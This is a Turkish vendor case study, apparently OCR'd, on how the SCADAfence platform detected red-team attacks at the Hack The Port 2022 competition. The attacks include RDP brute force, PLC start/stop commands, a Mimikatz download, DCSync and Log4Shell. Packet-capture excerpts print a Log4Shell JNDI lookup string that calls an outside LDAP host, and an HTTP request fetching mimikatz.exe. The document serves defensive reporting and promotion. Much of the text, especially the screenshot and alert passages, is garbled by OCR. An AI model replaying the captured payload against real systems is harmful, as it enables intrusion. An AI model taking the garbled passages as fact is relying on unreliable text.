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Hack The Port Tanitim

Hack The Port 2022, ABD Siber Komutanligi, NSA ve Maryland inovasyon
ve GUvenlik Enstitdst (MISI) tarafindan desteklenen ve Amerika Birlesik
Devletleri'ndeki islevsel bir deniz limaninin givenligini tehlikeye atmak
icin gercek dinya girisimini simile eden bir yarismadir. Yarisma, Mart
2022'de Florida'da gerceklesti.

Yarisma organizatorleri, “ Red Teams” kirmizi takimlari Limani Hackle-
meye, yani limanin teknolojik altyapisinin givenligini ciddi sekilde tehli-
keye atmaya ve “Blue Teams” mavi takimlari savunuculuk yapmaya
davet etti. Yarisma, gercek dinyadaki bir endustriyel limanin tim yonle-
rini ve olasi risklerini kapsayan alti senaryoyu iceriyordu.

Kirmizi ekiplerin, gercek diinyadaki tehdit aktorlerinin aglari ihlal etme
girisimlerinde kullanacaklari kimlik avi, metasploit, DDOS saldirilari ve
digerleri dahil olmak Gzere herhangi bir yolu kullanmalarina izin verildi.
Mavi takimin gorevi saldirilari tespit etmek ve saldirganlari durdurmakti.
Bu teknik inceleme de, alistirmanin bulgularini ve sonuclarinin 6zeti ve
SCADAfence'in limani saldirilara karsi basariyla savunmadaki basarisini
detaylari bulunuyor.




Yonetici Ozeti
SCADAFfence Platformu, Hack The Port yarismasinda, kurgusal porta yénelik en fazla saldiriyi

basarili bir sekilde tespit edip onlerken en az yanlis alarm sonuclarla tim rakiplerini geride
birakti.

SCADAFfence Platformu, kritik sistemleri tehlikeye atmak icin DCSync, Log4J, kendinden
imzali metasploitler, Mimikatz indirme, RDP saldirilari ve domain denetleyicilerini hackleme
gibi cesitli teknikler kullandiklari icin kirmizi ekipleri yakalad.

Gercek diinyada, bu tir saldirilar tespit edilmezse bir limanin kapanmasina ve ekipmanda
blyilk hasara, kritik sistemlerin kesintiye ugramasina ve hatta fiziksel yaralanmalara neden
olabilir.

SCADAfence Platformunu Kurma

Tehdit aktorlerinin limana saldirmasini tespit etmek ve 6nlemek icin ilk adim, SCADAfence Platformunu
calisir duruma getirerek liman aglarini glivence altina almaktr.

Hack The Port etkinligi baslamadan ¢nce SCADAfence ekibi kurulum paketini etkinlik organizatorlerine
goénderdi. Organizatérler SCADAfence Platformunu kendi baslarina sorunsuz bir sekilde kurabildiler ve
kutudan ciktigi gibi calisti. SCADAFence ekibinin ek yapilandirma yapmasina veya destek vermesine
ihtiyac duyulmadi.

SCADAfence Platformunun mega fabrikaya veya Hack The Port gibi liman isletmesi agina kurulmasi
arasinda herhangi bir fark olmadan 10 dakikada tamamlanir. 10 dakika sonunda, SCADAfence Platformu
calismaya baslamis ve limani koruyordu.
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Saldiri Senaryolari
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Liman Vinci

Endistriyel bir limanin portal vinci, limanin Gzerinde duran ve gemilere konteynirlari yiiklemek ve
bosaltmak ve gemi insasi ve onariminda kullanilan motorlari ve diger adir ekipmanlari kurmak icin
kullanilan blytk bir tavan vincidir. Bu vincler, 6zel yazilima sahip bir bilgisayar araciligiyla kontrol
edilir ve calistinilir. Bu saldiri senaryosu, kirmizi ekip katilimcilarindan vincin kontrol sistemini ihlal
etmeye ve vincin hareketini bozmalarina ve bir geminin motorunu dogrudan okyanusa indirmeleri-
ne izin vermek icin yeterli erisim elde etmesini istedi.

Su Filtrasyon Sistemi

BlyUk bir limandaki su filtreleme sistemi, gemi personeline ve tiim limana temiz su saglamaktan
sorumludur. Bu meydan okumanin amaci, makineleri kontrol eden cihazlara eriserek su filtreleme
sistemini sabote etmek ve sistemi suya yanlis oranda katki maddesi eklemesi icin kandirmakti. Bu
zorlugun énemli bir parcasi, sistem dedektérlerinin degisiklikleri kesfetmesini engellemekti.

Gemi Bordasi Networku

Bu senaryoda kirmizi ekiplerden istenen; limana yanasmaya calistiklari sirada gercek gemilerin
kopru kontrol sistemlerine erismeleri ve geminin pervanelerini kapatmalari béylece gemiyi engel-
lemeleri yani limanda kilitlenmelerini saglamalariydi.

Balast Kontroli

Bu senaryo da bir geminin kopri Gstl kontrol sistemlerine erisim saglamayi gerektirmekteydi. Bu
senaryoda, kirmizi ekipler geminin balast kontrol sistemine erismeye ve HMI'larin sistemin pompa-
lama yapilmazken bile hatali olarak su pompaladigini belirtmesini saglamaya calistilar.

Takip Sistemi

Tim blylk endustriyel tesisler gibi, Hack The Port'un organizatorleri de limanlarina, gerektiginde
daha sonraincelenmek Gzere kaydedilmek Gzere dijital gorintileri kaydeden kameralardan olusan
bir gbzetim sistemi yerlestirdiler. Kirmizi ekiplerden bu adi kapatmalari ve daha sonra tehdit
aktorlerini etkileyebilecek hicbir verinin korunmadigindan emin olmalari istendi.

Erisim Kontrol Sistemi

Limanda iscilere verilen glvenlik kimlik kartlari, deniz glvenliginin kritik yonlerinden biridir. Herke-
sin kisitli alanlara uygun erisim seviyesinde yetkiye sahip olmasini saglamak, ilgili alanlarin gtvenli
kalmasina yardimci olacaktir. Bu senaryoda, kirmizi ekiplerin kapi kontrol sistemlerine ve kart
okuyucularina erismesi ve limana yetkisiz girislerin yapilmasini saglamalari gerekiyordu.
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SCADAfence tarafindan tespit edilen
Kirmizi Ekip Saldirilari

Adin Taranmasi

Beklendigi gibi, kirmizi ekipler her senaryoya agin kesfi ile basladi.1 Bu islem, Aga bagli cihazlarin bir
envanteri, bu cihazlarda calisan servisler, cihaz tipleri, IP adresleri, acik portlar, Gretici isimleri, ve cihazla-
rin hangiisletim sistemi yaziimini calistirdigi yéntndeki bilgileri toplamak icin bir tarama ile baslamakta-
dir. Daha sonra bu bilgileri bilinen givenlik aciklariyla bu cihazlari iliskilendirmek icin kullandilar ve daha
fazla ag erisimi elde etmek icin bulabilecekleri baska bir sey aramaya devam ettiler.

Ger¢ek Diinya Etkisi:

Bir saldirgan tarafindan ana makineden ve ana makineye veri aktarirken eylemlerini ve araclarini gizlemek
icin kendinden imzali ( self-signed ) Metasploit sertifika kullanilabilir.
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Network taramasi Host goriintiisi 0.89.0.32
1 Oldirme zincirinin (kill-chain) ilk adimi tespittir:
- https://collaborate.mitre.org/attackics/index.php/Discover
- https://attack.mitre.org/tactics/TA0043
- https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
-
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Metasploit Sertifika Kullanimi

Rutin bir tarama sirasinda, SCADAfence Platformunun tespit ettigi ilk seylerden biri, DigiCert veya
GoDaddy gibi glvenilir bir sirket tarafindan imzalanmis bir sertifika yerine Metasploit Framework tarafin-
dan imzalanmis bir sertifika olan kendinden imzali bir (self —signed ) Metasploit sertifikasiydi. Bu, ag
Gzerinden gonderilen yetkisiz veya kot amacli etkinligi gosterir. Spesifik olarak, [c][d] 10.88.0.252 (NAT)
IP adresine sahip bir yonlendirici tarafindan verildi.

Gergek Diinya Etkisi:

Bir Metasploit sertifikasi, kendinden imzali olsa bile, ana makinenin givenini kazanmak icin kullanilabilir.
isaretlenmeden birakilirsa, tehdit aktérleri agin daha derinlerine niifuz edebilir.

satsees - Metasploit TLS Certificate usage detected
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Metasploit Sertifika Kullanimini Tespit Etme. Her uyari, sorunun daha fazla arastirilmasina yardimci olmak icin PCAP dosyasini icerir.

RDP (Uzak Masaiisti Protokoli) Uzerinden Saldiri Girisimi

SCADAfence Platformu, saldirganlarin FLOW-HMI makinesiyle baglanti kurmak icin 4.700'den fazla kez
denedigini tespit etti. Sonunda basarili bir RDP oturumu olusturmayi basardilar.

Link lnspector For 10.88.0.108 and 10.868.5.29

SCADAfence
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FLOW-HMI ile basarili bir RDP baglantisini gésteren bir uyari
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Bilinen kot niyetli aktorlerden (10.88.0.252, 10.88.0.106) ayni giin gerceklesen 10.88.5.29'dekii diger
birkac basarili RDP oturumunun éncesinde, hedeflenen taramalar veya bruteforce oturum agma girisimle-
ri yapildi ve yakalandi.

Gergek Diinya Etkisi:

Bir RDP Oturumunu basariyla baslatan tehdit aktorleri, ana makine Gzerinde tam bir kontrole sahiptir ve
diger orijinal oturum acma kimlik bilgilerini, parolalari ve diger hassas bilgileri calabilir ve fidye yazilimi
saldirilari baslatabilir. Bir HMI'ya bu sekilde erisim, uzak operatorler bu erisimleri fiziksel hasara vermek
icin kullanabilecekleriicin 6zellikle tehlikelidir.

Link Inspector for 10.88.0.252 and 10.88.5.29
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FLOW-HMI ile basarili bir RDP baglantisini gdsteren baglanti denetgisi

Allen-Bradley ENIP Kullanarak ‘ T oo wsnn =
Basarili PLC Taramasi

SCADAfence Platformu, baska bir saldiri girisi-
minde, bir PLC'den ayrintilari almak icin
Allen-Bradley'nin ENIP protokoldni kullanmaya
calisan kirmizi takim saldirganlarini yakalad.
SCADAfence Platformu, saldirganlarin bir
cihazin kimligi, model adi, oturum detaylari ve
PLC'den ek bilgiler gibi detaylari basariyla elde
ettigini tespit edebildi.

List identity (RespongeSuccess)
Register Session (ResponseSugoess)
List Services (ResporseSuCcess)

List intecfaces
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Bir PLC'yi Baslatma ve Durdurma

SCADAfence Platformunun tespit edebildigi en énemli saldirilardan biri, bir PLC'ye génderilen gercek
baslatma/durdurma komutlariydi. PLC'ye erisim sadladiktan sonra, tehdit aktorleri, cihazin calisma
modunu degistirmek icin komutlar géndererek givenlidi ihlal edilen cihaza saldirilarini sirdirdiler.

Gergek Diinya Etkisi:

PLC'ler, fiziksel ekipmani kontrol etmek veya otomatiklestirmek icin kullanilir. Bu erisim seviyesiyle,
tehdit aktorleri, bir elektrik sebekesini kapatma, makinelere zarar verme veya bir su kaynagindan 6din
verme gibi fiziksel saldirilari gerceklestirmesiicin PLC'ye komutlar verebilir ve bunlarin timU potansiyel
olarak 6limcil sonuclar dogurabilir.

alerts anager > PLC start command issued

SCADAfence

@ PLC start command issued

10.88.6.12 (siemens-enginee) sent a PLC start command to PLC on 10.88.6.10, using s7comm_plus protocol.
ID: 14375 Severity: Threat = Last Event Time: 03/23,/2022 21:09:43  Total Events: 2
MITRE ATT&CK: Execution = Change Operating Mode, Evasion = Change Operating Mode, ...

Alerts Manager > PLC stop command issued

SCADAfence

@ PLC stop command issued

10.88.6.12 (siemens-enginee) sent a PLC stop command ko PLC on 10.88.6.10, using s7comm_plus protocol.
1D: 14374 Severity: Threat Last Event Time: 03/23/2022 21:08:38  Total Events: 2
MITRE ATT&CK: Execution > Change Operating Mode, Evasion > Change Operating Mode, ...

Mihendislik istasyonu 10.88.6.12, PLC'ye PLC durdurma ve baslatma komutlari génderdi 10.88.6.10
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Mimikatz'i Tehlike Altinda Bir Domain Denetleyicisine indirme

Tehdit aktorlerinin 6nemli saldirilar baslatmasinin dnemli bir yolu, énce bir agda bir yer edinmek, ardin-
dan bu giris noktasini tespit edilmeden calisabilecekleri aga daha fazla nifuz etmek icin kullanmaktir.
SCADAfence Platformu, bu teknigi kullanan Hack the Port etkinliginin en énemli saldirilarindan birini
tespit etti.

Kirmizi Takim'in ilk ihlali, baslangic noktasi olarak kullandiklari basarili bir brite-force saldirisiydi ve
ardindan, ihlal edilen SSH erisimini kullanarak bir araci cihaz Gzerinden bir domain denetleyicisine eristiler.
Bu noktadan sonra saldirganlar, parolalari ve diger hassas bilgileri calmak amaciyla Mimikatz'i glvenligi
ihlal edilmis bir domain denetleyicisine indirmeye calisti. SCADAfence Platformu bu indirmeyi tespit etti.

Ger¢ek Diinya Etkisi:

Mimikatz ile cikarilan verileri agin daha derinlerine inmek ve ek cihazlari tehlikeye atmak icin tehdit
aktoérleri kullanir.

s aneaee » Signature Alert - [Mimikatz] Attempt to Download Mimikatz Tool

B Sigreture Aleit - [Mimikats) Atbempt to Dewnlosd Mimikats Tool -

@
=1
T mptom b dedavzed hat 10080 U Iwinc £ 35 b} ot bearpibasd bo-rossmdnaad | innikcats from 7081242 Buliod -
1B 1334 Severiy: Thiest  Last Dverst Tomee QURA0GE G053:84 Total Bverts 2 SCADAFfence
MAITRE ATTECK Bitia Adurin o buplait 1Fabdic Farieg Aggileatio, indlal Ao » Bugleid it o OF Banits Sriise,

Mimikatz aracini indirme girisimini algilama

Saldirganin yolunu domain denetleyicisine esleme

T AwwETetTEaaarm

Source Dastination Frolocel . Lergeh  Infa
16.88.408.16 16 88.7.42 HTTP 20 GET /mimikatz. exe WTTP/1.1

M Wireshari - Follow TOR Stream (icpustream eg 00 SFGEMERIC_SIGNATURE_ALERT_20220324_15329

GET feimikatz.exe HTTE 1.1
Cache-Control: no-cache

Connection: Eeep-Alive

Pragea: no-cache

Accept: *f*

User-Agent: Microsoft-CryptoaPl/18.0
Host: 1@.88.7.41

Mimikatz yirGtilebilir dosyasinin http indirmesini gésteren ekli Pcap
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TIA Portalina Baglanma

Bir endistriyel limanin (veya herhangi bir bilgisayar kontrollt Gretim veya Gretim ortaminin) isleyisini kontrol
eden en 6nemli cihazlar arasinda HMI'lar ve operatér/mihendislik istasyonlari bulunmaktadir.

Bunlara ve onlari kontrol eden PLC'lere erisim saglamak, bir tehdit aktori icin en biyik éduller arasindadir.
Hack the Port olayi sirasinda, SCADAFfence Platformu, 8888 numarali baglanti noktasina harici bir baglanti
tespit etti. Baglanti noktasi 8888, Siemens TIA Yoneticisinin (TIA Portali) entegre yapilandirma web uygula-
masi icin kullanilir.

Bu, tehdit aktorlerinin PLC'ye erismeye calistiklarini gésterdi. Yine Platform tarafindan algilanan iki yonla
iletisim, bu baglantiyi basariyla kurduklarini ve PLC'nin tehlikeye girdigini gésterdi.

Link Inspector For 10.88.0.108 and 10.88.5.29

SCADAFfence
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DCSync Saldirisi

Hack the Port, dikkate deder givenlik aciklarina sahip bir dizi Raspberry Pl cihaziniiceriyordu. Cogu
kirmizi ekip, Raspberry Pl aginda bir yer edinmeyi basardi ve bir veya daha fazla araci cihaz kullanarak aga
daha derin erisim saglamak icin bunu bir atlama noktasi olarak kullandilar.

Bu durumda, bir domain denetleyicisine karsi bir DCSync saldirisi baslatmak icin Raspberry Pl aginin
glvenligi ihlal edildi.

Saldirgan 6nce Raspberry Pl'yi ele gecirdi ve domain denetleyicisine saldirmadan énce bunu SSH aracili-
giyla bir HMI'ya erismek icin bir atlama noktasi olarak kullandi. Saldirganlar, SMB protokoltni kullanarak
domain denetleyicisinden bilgi elde etmek icin kendi denetimlerini kullandilar.

Gergek Diinya Etkisi:

DCSync saldirisi, halihazirda bir aga sizmis olan tehdit aktorleri tarafindan gerceklestirilen gec
asamadaki bir saldiridir. Active Directory'nin yonetici kontroliini elde etmek icin kullanilir. Bir kez
sahip olduklarinda, her domain denetleyicisine zarar veren degisiklikleri cogaltabilirler.

Alens manager > Signature Alert - Attempt to Extract Password Data Using DCSync Technique [Mimikatz]

@ Signature Alert - Attempt to Extract Password Data Using DCSyne Technique [Mimikatz]

The system has detected that 10085 7.46 (workstation) s attempting to extract domain controller password data on 10.88.40 16 (win-t1g3%aedinc) using Mimikatz
ID: 15845 Sevedity: Warning  Last Event Time: 03/24/2022 18:55:56  Total Events; 33
MITRE ATTECK: Inithal Accuss » Exploit PublicFacing Application, Initial Access = Exploitation OF Remate Services, ..

DCSync saldirisini goésteren bir uyari
Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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Saldirganin domain denetleyicisine giden yolu
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Log4J Karsi Saldiri Yapiyor

Acik kaynakli ginluk kitapligr Apache Log4J'de 2021'in sonunda blyUk bir glvenlik acigi tespit edildi.
SCADAfence, saldiri kesfedildikten hemen sonra Log4J glvenlik acidiicin destek ekledi. Hack The Port'ta
kirmizi ekip, kesfedilmemesini umarak bu bilinen givenlik acigini bir saldiri dizenlemek icin kullandi.

Bu saldirinin hedefi, bir I0-link ENIP adaptori olan AL1970 idi. SCADAfence Platformu, cihazda uzaktan
kod yiritmek icin Log4J glvenlik acigini kullanma girisimini hemen tespit etti.

Gergek Diinya Etkisi:

Log4J glvenlik acigi, tehdit aktorlerinin bir cihazin tam kontrollinid ele gecirmesine ve kot amacli kod
calistirmasina, kot amacli yaziim saldirilari baslatmasina ve ada tamamen sizmasina olanak tanir.

Hatreme » Apache Logdj - Remote Code Execution attempt detected (CVE-2021-44228) [Logdshell]

B Apsche Logs Demote Code Dncoution sitomat fctected (EVD 2821 4220) [Logathes] in Pragress m
Frae gt b detet e hst JLETC AT (L3I A SErmpsiedg Bo caseote Cone e reilels o8 NOLER A 2 b it i vy B tsiwehs Lesp] vt bl BCWE-0000 0 il Doatioid B0
Hr U565 Srvooky Cnbacsl  Crosbed DRETN Yo

Log4J saldirisini gosteren bir uyari

Source Destinaton Protocol Length Trifo
10.89.9.32 18.88.5.24 HTTP 1463 GET /cgi-bin/mt-static/mt-check.cgi HTTR/1.1
M Witeshark - Follow TCP Stream (tcp.stream eq 0) - SF_SIGNATURE_ENGINE_ALERT_20220324_15865.pcap = =] x

GET /cpi-bin/mt-static/mt-check.cgi HTTP/1.1
Host: 1@.88.5.24
Accept-Charset: Jsg BRSOyt _S-ozf 0 a1

Accept-Language | ${indi: 1dap://logdshell-generic -00wrzUgDbexliuXgaFHrTS{ lower: ten)
Connectigo,

Referer

WL NESSUS . OrE/Nessus ]

£44ndi - 1dan: / /M Taedshe 1] -eeneric -DiwrzliaDaexluXeaFHe TS Tower - tenl w nessns. nre/nessis
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Ele Gecirilmis Bir Domain Denetleyicisinden Deger Analizi Degisiklikleri

SCADAfence Platformunun en hayati 6zelliklerinden biri olan Deger Seviyesi 6zelligi, temel OT komut
seviyesi algilamasinin Otesine gecerek PLC'ye gonderilen gercek OT degisken dederlerini alir.

Hack the Port olayi sirasinda, SCADAfence Platformu, glvenligi ihlal edilmis bir domain denetleyicisinden
kaynaklanan deder diizeyi degisiklikleri algiladi. Degerlerdeki beklenmeyen dedisiklikler bir ihlali gosterir
ve gercek didnya senaryosunda blyuk bir saldiriyr gosterebilir. Bu durumda saldirgan, hem PLC'yi hem de
bagli makine/sensorleri kesintiye ugratmak icin Modbus protokoli araciligiyla PLC'deki degerleri 6nemli

6lctde daha yiksek bir degere degistirmistir. Saldirganin amaci, su kaynagina zararli katki maddeleri
dokerek zarar vermekti.

Gergek Diinya Etkisi:
Bu gercek bir olay olsaydi, bu uyari, tehdit aktorlerinin glivenlik kontrollerini ihlal etmeyi basardidini ve

blyik aksamalara neden oldugunu gosterirdi. SCADAfence Platformunun Deger Dizeyi dedisiklik uyari-
larl, HMI kamufle etmek icin tehlikeye atilmis olsa bile, hasarin yapildigini kanitlar.
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SCADAfence Platform Value, Modbus protokoli araciligiyla glvenligi ihlal edilmis bir etki alani denetleyicisinden
yapilan bir PLC Gzerindeki degisiklikleri algilar.
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PLC'deki deger seviyesi degisikliklerini gésteren bir uyari
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Tim Yeni Kirmizi Takim Senaryolarini Tespit Etme

Kirmizi ekiplerden biri saldiri senaryosu Gzerinde calismayi tamamlarken, bir baska kirmizi ekip sirayla
gorev aldi. SCADAfence Platformu, aga eklenen yeni IP adresleri nedeniyle degisikligi tespit edebildi. Ayni
IP adresinin yeni bir cihaz tarafindan kullanilmasi, potansiyel olarak IP'yi kullanan bir cihazin sahneyi terk
ettigini ve yeni bir cihazin girdigini, ayni IP'yi aldigini ve dolayisiyla ilgili bir olayi tetikledigini gdsterdi.

aers manager > |P address is used by another device

SCADAfence

@ 1P address is used by ansther device in Progress m

P address 10880242 (devebwind that was used by an asset with MALC address TeCESFITI00:EE is now used by anather dévice with MAC address
Sa:A%:E0;13:4T:81
1D 158855everity: Information Created: 03724 /2022 19:35:49

Explanation Rezolution recommendations
Change of IP-MAC bond can ooour as 3 natural process in a natwork 1. Ensyre that dynamic IP allocation iz sllowed by existing netwark
with dynamic 1P address allocation (DHCF) policy

2. Limit unauthorized access into your IT and OT system
3. Make sure the adminisErative access to DHCP thould be restricted
toa limited numiser of individeals

IP/MAC korelasyonu ile senaryo degisiklikleri tespit edildi
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Liman Gdvenligini Korumanin
Yasamsal Onemi

e Heryil diinya ¢apinda sevk edilen ¢cok miktarda maddi mal sasirticidir. Tahminler, okyanus veya
deniz sinirindaki her biiyiik iilkedeki deniz limanlarina 100.000 gemiyle okyanus yoluyla 815,6
milyon 20 fitlik nakliye konteynirinin seyahat ettigi yoniindedir.

Denizcilik sistemlerine yonelik siber saldirilar son ii¢ yilda %900 artti.

Basarili bir saldirinin maliyeti de artiyor. Sigortaci Lloyd's of London, Asya limanlarina yonelik
tam olcekli bir siber saldirinin tek basina 110 milyar dolara mal olabilecegini ve her sanayilesmis
llke Gzerinde biiyiik dalgalanma etkileri olabilecegini tahmin ediyor.

Bu limanlari isleten makinelerin siber biitiinliigiinii saglamak icin kaya gibi saglam bir OT siber

giivenlik sisteminin 6nemi g6z ardi edilemez. Hack-The-Port alistirmasi, en son teknolojinin

bile, nasil yapilacagini bilenler tarafindan istismar edilebilecek giivenlik agiklarina sahip oldugu-
® nugosterdi.

thal edilen mallar, konteyner gemileri, su filtreleme sistemi ve en 6nemlisi liman ¢alisanlarinin
fFiziksel glivenligi, uygun erisim saglandiginda zarar verebilecek tehdit aktorlerine karsi savun-
masizdir. Bu nedenle, tiimii, OT aginin herhangi bir yerindeki yetkisiz veya siipheli etkinlikleri
gercek zamanli olarak algilayabilen ve uyarabilen bir OT savunma sistemine ihtiyag duyar.
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Sonug: SCADAfence Platformu
Ustunligdnd Kanitliyor

SCADAfence Platformu, kurgusal limana karsi en genis cesitlilikte kirmizi ekip saldir girisimini tespit etmeyi
basardi. SCADAfence Platformu, cok sayida dikkat daditici yanlis pozitif olmayanlari ayirarak gtivenilmeyen

X.509 sertifikalarindan ve DCSync saldirilarindan yetkisiz PLC baslatma/durdurma komutlarina ve digerleri-

ne kadar aglarindaki ihlaller icin uyarilar olusturdu.

SCADAfence mavi ekibi, en az
yanlis alarm ile tim mavi ekip kanali icinde
en kapsamli raporlama bilgilerini sagladi.

Anlatici 29/03/2022
Her seyden once, lGtFen tim ekibinizin, tim BLUE ekip kanali icin en kapsamli raporlama ayrintilarini sagladiginizi bilmesini saglayin.

SCADAfence ekibi, Hack The Port etkinlik organizatérleri tarafindan tebrik edilir.

SCADAfence Platformunun gercek diinya senaryolarinda siber givenlik ihlallerini tespit etme ve dogru
alarmlar Gretme yetenegdi, bugiin diinyadaki bircok endustriyel limanda oldugu gibi bu limani da biytk
glvenlik olaylari yasamaktan koruyacaktir.

Bu vaka calismasi bunu gostermek icin mikemmel bir drnektir.
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